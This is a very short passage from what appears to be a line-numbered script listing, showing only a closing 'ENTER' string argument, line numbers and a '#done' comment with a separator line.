ENTER') 26 | 27 | #done --------------------------------------------------------------------------------